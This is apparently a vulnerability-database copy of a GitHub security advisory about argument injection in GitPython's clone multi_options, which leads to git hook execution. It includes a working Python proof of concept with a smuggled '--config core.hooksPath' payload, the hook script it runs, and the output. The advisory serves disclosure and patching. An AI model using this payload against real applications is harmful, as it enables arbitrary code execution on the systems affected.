Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-x2qx-6953-8485

Опубликовано: 25 апр. 2026
Источник: github
Github: Прошло ревью
CVSS3: 8.1

Описание

GitPython: Unsafe option check validates multi_options before shlex.split transformation

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Пакеты

Наименование

GitPython

pip
Затронутые версииВерсия исправления

< 3.1.47

3.1.47

EPSS

Процентиль: 43%
0.00571
Низкий

8.1 High

CVSS3

Дефекты

CWE-88

Связанные уязвимости

CVSS3: 8.1
ubuntu
3 месяца назад

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

CVSS3: 8.1
nvd
3 месяца назад

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

CVSS3: 8.1
debian
3 месяца назад

GitPython is a python library used to interact with Git repositories. ...

CVSS3: 9.8
redos
20 дней назад

Уязвимость GitPython

suse-cvrf
3 месяца назад

Security update for python-GitPython

EPSS

Процентиль: 43%
0.00571
Низкий

8.1 High

CVSS3

Дефекты

CWE-88